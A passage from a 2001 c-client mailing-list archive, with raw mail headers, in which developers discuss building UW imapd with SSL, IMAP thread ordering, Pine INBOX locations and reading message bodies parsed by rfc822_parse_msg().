in the Makefile under src/osdep/unix: > SSLTYPE=unix > > SSLDIR=/usr > SSLCERTS=$(SSLDIR)/local/certs > SSLINCLUDE=$(SSLDIR)/include > SSLLIB=$(SSLDIR)/lib > > Since OpenSSL is now a part of the FreeBSD 4.4 install it is installed > in the /usr bit of the system instead of under /usr/local/ like if you > had instlled it from ports. I then did the standard make bsf and it all > seemed to compile up just fine for me. I'm sure there is a way to do it > all from the Makefile in the root, but this was pretty simple to change. > > Calvin > > Mark Edwards wrote: > >> Can anyone point me in the right direction to build imapd with SSL support >> on FreeBSD 4.4? OpenSSL is included with the OS by default, and in fact I >> am using it with Webmin. However, neither of the directories mentioned in >> the SSLBUILD doc exist on my server: >> >> /usr/local/ssl >> /usr/local/ssl/include/openssl >> >> They're just not there. Can someone give me a hint? >> >> Thanks. >> -- Mark Edwards Engineer Mr. Toad's San Francisco From pinedev@shivax2.cac.washington.edu Sat Dec 1 04:51:29 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 1 Dec 2001 04:51:29 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB1CpST08235 for ; Sat, 1 Dec 2001 04:51:28 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Sat Dec 01 04:51:22 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB1CpLn21847; Sat, 1 Dec 2001 04:51:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB1Cp4b26850; Sat, 1 Dec 2001 04:51:04 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB1Cmln103466 for ; Sat, 1 Dec 2001 04:48:47 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Sat Dec 01 04:48:44 2001 -0800 Received: from m1000.netcologne.de (m1000.netcologne.de [194.8.194.104]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB1Cmh223867 for ; Sat, 1 Dec 2001 04:48:43 -0800 Received: from [192.168.168.229] (dial-194-8-209-240.netcologne.de [194.8.209.240]) by m1000.netcologne.de (Mirapoint) with ESMTP id AII25244; Sat, 1 Dec 2001 13:48:37 +0100 (CET) Message-Id: <337795.1007211563@localhost> Date: Sat, 01 Dec 2001 12:59:23 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Edwards Cc: c-client@u.washington.edu Subject: Re: imapd + Outlook = In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========00355080==========" X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========00355080========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline -- Mark Edwards is rumored to have mumbled on Freitag,=20 30. November 2001 14:54 Uhr -0800 regarding Re: imapd + Outlook =3D: > Has anyone managed to get uw-imap to compile with SSL under any version = of > Mac OS X? It seems to have OpenSSL, but I can't find the right > directories, specifically the include directory. Hmm, you seem to be right, the header files aren't installed. The other=20 parts of OpenSSL are here: /System/Library/OpenSSL Greetings, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ Winter is coming. --==========00355080========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (Darwin) Comment: For info see http://www.gnupg.org iD8DBQE8CMYhGXsGmU0QW0URAowqAKCtMe1kDUP0bwQ10Tfaaes2OKHOEACeOnH+ v8urIX6lYOSXSlRqVqUoNeg= =RAfm -----END PGP SIGNATURE----- --==========00355080==========-- From pinedev@shivax2.cac.washington.edu Sat Dec 1 21:59:59 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 1 Dec 2001 21:59:58 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB25xvT13058 for ; Sat, 1 Dec 2001 21:59:58 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Sat Dec 01 21:59:45 2001 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB25xjG17235; Sat, 1 Dec 2001 21:59:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB25xT515782; Sat, 1 Dec 2001 21:59:30 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB25tNn37128 for ; Sat, 1 Dec 2001 21:55:24 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Dec 01 21:55:20 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB25tI420667 for ; Sat, 1 Dec 2001 21:55:19 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id fB25t6c13843 for ; Sun, 2 Dec 2001 03:55:07 -0200 Message-Id: <200112020555.fB25t6c13843@stratus.swi.com.br> Date: Sun, 2 Dec 2001 03:55:07 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: More on thread implementation Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Continuing on the previuous problems regarding threads, I almost finished it. However, c-client is behaving in a way almost like what it does with imapd. The tested mailbox is in http://www.swi.com.br/~chaos/test.mbox . It is a piece of the lartc maillist, so no problem on using this as a test case. Using imapd from imap-2001a, the command: A003 UID THREAD REFERENCES US-ASCII ALL returns: (1430 1432)(375)(501)((1 2 3)(4))(5 6 7 12 15)(8 9 10 11)(13)(14 16 17 18 19)(30 31 33 34 35 36 43 (45)(213))(58 60 61 62 63 64 65 66)(59)(67 68)(72 73)(83 (87)(89 91))(84 (88)(86))(104 (105)(106 111 121 139)(108 109 110))(131 140 143 (144)(145))((159 (160 162 (163 165)(164 166))(161))(167 188)(168 169 170 179 (189)(191 193))(197))(158)((173)(181 183)(190))(175 176 (177 184 185 186)(180))(201)(204 (205)(208 209 210 212 (214 216 217 220)(215)))(258 (261 262 263 264 (265)(266))(267))(259 260 268)((289 (290 291 292)(296)(295))(297))((298)(300)(299 301)(309))(323 (327 328 329 336 337 339 340)(324 325 341))(322 (326)(330 (331)(332))(333 (335)(343)))(334 (338)(419)(472 476 (479 485 486)(492)))(355 (358 359 360)(362))(356 357)(361)(392 394 (395 396)(397))(393)(398 399 400 (401)(402))(552 (553)(555 566)(557)(559 560)) Which it is correct. I checked the messages references to be sure. Now when parsing the THREADNODE structure for the same mailbox, I get: (1430 1432)(375)(501)(1 2 3 4)(5 6 7 15 12)(8 10 9 11)(13)(16 17 18) (14)(19)(30)(31 33 43 45)(34 35)(36)(58 60 61 63 62) (59)(64 65 67 68)(66)(72 73)(83 89)(84 86)(87 91)(88) (104 108 109 110)(105)(106 111)(121 139)(131 140 143 144) (145)(159 160 161 162 163 164 165 166 167 168 169 170 179 188 189 191 193 197)(158)(173 181 190)(175 176 177 180 184 185 186)(183)(201)(204 208 210) (205 209 212 214 215 216 217 220)(213)(258 261 262 263 264 265 266 267)(259 260 268)(289 290 291 292 296 295 297 300)(298 299 301 309)(323 327 328 329 336 337 339 340)(326 322 330 331 332 333 335 343)(325 324 341)(334 338 419 472 476)(355 358 359 360 362)(356 357)(361)(392)(393)(394 395 396 397)(398 399 400 401 402)(479 492)(485 486)(552 553 555 557 559 560 566) Almost the same, but watch out the order which they appear: * msg 4 should be inside a ( ) * msgs 12 and 15, 9 and 10 are swaped. This kind of thing happens on other places too. So, this could be an error in the program, right? I am not so sure, here is what I get for each THREADNODE structure during the parsing: msg_num branch next ------- ------- ------- 1430 375 1432 1432 none none 375 501 none 501 1 none 1 5 2 2 none 3 3 none 4 4 none none 5 8 6 6 none 7 7 none 15 15 none 12 12 none none AFAIU, the line "3 none 4" should be "3 4 none" and the lines "7 none 15", "15 none 12" and "12 none none" should be "7 none 12", "12 none 15" and "15 none none". So, why there is this little difference yet? I need a clue to what might have being causing it. Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 3 08:27:44 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Dec 2001 08:27:43 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB3GReT02797 for ; Mon, 3 Dec 2001 08:27:41 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Dec 03 08:27:24 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB3GROG24029; Mon, 3 Dec 2001 08:27:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB3GLwb23190; Mon, 3 Dec 2001 08:21:59 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB3G9jn109866 for ; Mon, 3 Dec 2001 08:09:46 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Dec 03 08:09:45 2001 -0800 Received: from sdf1.sixfeetup.com (sdf1.sixfeetup.com [205.158.174.204]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB3G9iB03050 for ; Mon, 3 Dec 2001 08:09:44 -0800 Received: from speedracer (dsl-64-130-131-57.telocity.com [64.130.131.57]) by sdf1.sixfeetup.com (Postfix) with SMTP id A5F24FFE57 for ; Mon, 3 Dec 2001 08:09:41 -0800 (PST) Message-Id: Date: Mon, 3 Dec 2001 08:11:58 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Calvin" To: "c-client" Subject: Accessing IMAP mailboxes with Pine MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I configured the mail subdirectory name to be "mail". Using procmail and dmail to deliver mail to a local user in the mbx format it puts the messages into their ~/mail/INBOX directory. Then when I access it via IMAP using Outlook or Netscape Mail I can get the messages fine, but when I try to use Pine to access a remote IMAP server all of my other mail folders show up except the INBOX. I think it is still reading from the /var/mail/ spool directory which is empty since I have dmail put it to the mbx INBOX in the users home directory. Is there a way around this behavior? Thanks, Calvin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Dec 3 11:13:36 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Dec 2001 11:13:34 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB3JDXT17857 for ; Mon, 3 Dec 2001 11:13:33 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Dec 03 11:13:22 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB3JDLG30973; Mon, 3 Dec 2001 11:13:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB3JDE224768; Mon, 3 Dec 2001 11:13:14 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fB3JBvn63244 for ; Mon, 3 Dec 2001 11:11:57 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Dec 03 11:11:56 2001 -0800 Received: from stratus.swi.com.br (stratus.swi.com.br [200.203.204.140]) by mxu4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fB3JBr917360 for ; Mon, 3 Dec 2001 11:11:54 -0800 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.6/8.11.1) with ESMTP id fB3JBlW29411 for ; Mon, 3 Dec 2001 17:11:47 -0200 Message-Id: <200112031911.fB3JBlW29411@stratus.swi.com.br> Date: Mon, 3 Dec 2001 17:11:47 -0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: Subject: Re: More on thread implementation Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Continuing on the previuous problems regarding threads, I almost finished it. >However, c-client is behaving in a way almost like what it does with imapd. Got it! It was a typo that made it behave as 'orderedsubjects' and not 'references'. I should be sleeping by that time. Raul Dias From pinedev@shivax2.cac.washington.edu Tue Dec 11 03:46:04 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Dec 2001 03:46:03 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBBk2T05146 for ; Tue, 11 Dec 2001 03:46:02 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 11 03:45:53 2001 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBBjrQL005012; Tue, 11 Dec 2001 03:45:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBBjfb33430; Tue, 11 Dec 2001 03:45:41 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBBfan66416 for ; Tue, 11 Dec 2001 03:41:36 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 11 03:41:35 2001 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBBBfZcZ014564 for ; Tue, 11 Dec 2001 03:41:35 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 11 03:41:30 2001 -0800 Received: from arthur.runestig.com (arthur.runestig.com [62.108.199.166]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBBfSG3030210 for ; Tue, 11 Dec 2001 03:41:29 -0800 Received: from bollr2 (fw.kldata.cc [62.108.199.163]) by arthur.runestig.com (8.12.1/8.12.1) with SMTP id fBBBfMW0007991 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO) for ; Tue, 11 Dec 2001 12:41:22 +0100 Message-Id: <008701c18238$b5f004f0$64110b0a@datavis.se> Date: Tue, 11 Dec 2001 12:41:02 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter 'Luna' Runestig" To: Subject: Q about rfc822_parse_msg() MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, When I'm using rfc822_parse_msg() (to parse a raw message from sendmail on stdin), the created BODY's contents.text.data is always NULL. Is there a way to make it actually point to the data in the body? contents.text.size is non-zero. TIA, - Peter ---------------------------------------------------------------- Peter 'Luna' Runestig (fd. Altberg), Sweden PGP Key ID: 0xD07BBE13 Fingerprint: 7B5C 1F48 2997 C061 DE4B 42EA CB99 A35C D07B BE13 AOL Instant Messenger Screenname: PRunestig -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 11 09:00:23 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Dec 2001 09:00:17 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBH06T22346 for ; Tue, 11 Dec 2001 09:00:10 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 11 09:00:01 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBH01QL011375; Tue, 11 Dec 2001 09:00:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBGvX233860; Tue, 11 Dec 2001 08:57:33 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBGsdn55116 for ; Tue, 11 Dec 2001 08:54:39 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 11 08:54:39 2001 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBBGscvI026290 for ; Tue, 11 Dec 2001 08:54:38 -0800 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 11 08:54:34 2001 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBGsYQL011190 for ; Tue, 11 Dec 2001 08:54:34 -0800 Message-Id: Date: Tue, 11 Dec 2001 08:51:33 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Peter 'Luna' Runestig" Cc: c-client@CAC.Washington.EDU Subject: re: Q about rfc822_parse_msg() In-Reply-To: <008701c18238$b5f004f0$64110b0a@datavis.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Dec 2001 12:41:02 +0100, Peter 'Luna' Runestig wrote: > When I'm using rfc822_parse_msg() (to parse a raw message from sendmail on > stdin), the created BODY's contents.text.data is always NULL. Is there a way > to make it actually point to the data in the body? contents.text.size is > non-zero. The simple answer is "no". contents.text.data is not an application cell. It is for the exclusive use of c-client drivers and upper-level c-client routines, e.g. mail_fetch_????(). The best way to do what you want is to write a c-client driver for stdin, and then use the higher-level c-client routines. I realize that this is difficult, but fighting c-client will probably be more difficult. From pinedev@shivax2.cac.washington.edu Tue Dec 11 09:12:13 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Dec 2001 09:12:09 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBHC7T14240 for ; Tue, 11 Dec 2001 09:12:07 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 11 09:12:01 2001 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBHC1QL011807; Tue, 11 Dec 2001 09:12:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBHBn416876; Tue, 11 Dec 2001 09:11:49 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBHAQn92388 for ; Tue, 11 Dec 2001 09:10:26 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Dec 11 09:10:25 2001 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBBHAPpo029455 for ; Tue, 11 Dec 2001 09:10:25 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Dec 11 09:10:25 2001 -0800 Received: from arthur.runestig.com (arthur.runestig.com [62.108.199.166]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBHANQL011742; Tue, 11 Dec 2001 09:10:24 -0800 Received: from morgana (h20n2fls34o823.telia.com [217.208.10.20]) by arthur.runestig.com (8.12.1/8.12.1) with SMTP id fBBHAKXu009838 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 11 Dec 2001 18:10:22 +0100 Message-Id: <024701c18266$bfd46f50$02ffa8c0@morgana> Date: Tue, 11 Dec 2001 18:10:34 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter 'Luna' Runestig" To: "Mark Crispin" Cc: Subject: Re: Q about rfc822_parse_msg() References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: "Mark Crispin" > On Tue, 11 Dec 2001 12:41:02 +0100, Peter 'Luna' Runestig wrote: > > When I'm using rfc822_parse_msg() (to parse a raw message from sendmail on > > stdin), the created BODY's contents.text.data is always NULL. Is there a way > > to make it actually point to the data in the body? contents.text.size is > > non-zero. > > The simple answer is "no". > > contents.text.data is not an application cell. It is for the exclusive use of > c-client drivers and upper-level c-client routines, e.g. mail_fetch_????(). > > The best way to do what you want is to write a c-client driver for stdin, and > then use the higher-level c-client routines. I realize that this is > difficult, but fighting c-client will probably be more difficult. Thanks for the fast response! I think I got it solved now, by reading contents.text.size number of bytes from (char *)(raw_body_data + contents.offset). I have tried it with a couple of differently formatted mails (multi- and singlepart), and it seems to work so far... Thanks again, - Peter ---------------------------------------------------------------- Peter 'Luna' Runestig (fd. Altberg), Sweden PGP Key ID: 0xD07BBE13 Fingerprint: 7B5C 1F48 2997 C061 DE4B 42EA CB99 A35C D07B BE13 AOL Instant Messenger Screenname: PRunestig From pinedev@shivax2.cac.washington.edu Tue Dec 11 09:43:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Dec 2001 09:43:09 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBHh8T12594 for ; Tue, 11 Dec 2001 09:43:08 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Dec 11 09:43:05 2001 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBHh5G3005915; Tue, 11 Dec 2001 09:43:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBHgs208358; Tue, 11 Dec 2001 09:42:54 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id fBBHgKn22834 for ; Tue, 11 Dec 2001 09:42:20 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Dec 11 09:42:19 2001 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id fBBHgJpo006041 for ; Tue, 11 Dec 2001 09:42:19 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Dec 11 09:42:15 2001 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBHgFQL012802 for ; Tue, 11 Dec 2001 09:42:15 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBHgB8W031284; Tue, 11 Dec 2001 09:42:11 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id fBBHfxxS002395 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO); Tue, 11 Dec 2001 09:42:08 -0800 Message-Id: Date: Tue, 11 Dec 2001 09:41:57 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Peter 'Luna' Runestig" Cc: c-client@CAC.Washington.EDU Subject: Re: Q about rfc822_parse_msg() In-Reply-To: <024701c18266$bfd46f50$02ffa8c0@morgana> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 11 Dec 2001, Peter 'Luna' Runestig wrote: > Thanks for the fast response! I think I got it solved now, by reading > contents.text.size number of bytes from (char *)(raw_body_data + > contents.offset). I have tried it with a couple of differently formatted > mails (multi- and singlepart), and it seems to work so far... Yes, that works now. But I can not promise that it will always work in the future, which is why I don't tell people about that. So, you need to be aware and recertify your code against each new release of c-client. However, I don't have any short-term plans to break that, so for the nonce you are OK. I just want to make sure that nobody ever gets the idea that I have promised that will always work, or get angry with me if it breaks in a future version. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Dec 12 18:04:36 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Dec 2001 18:04:35 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu 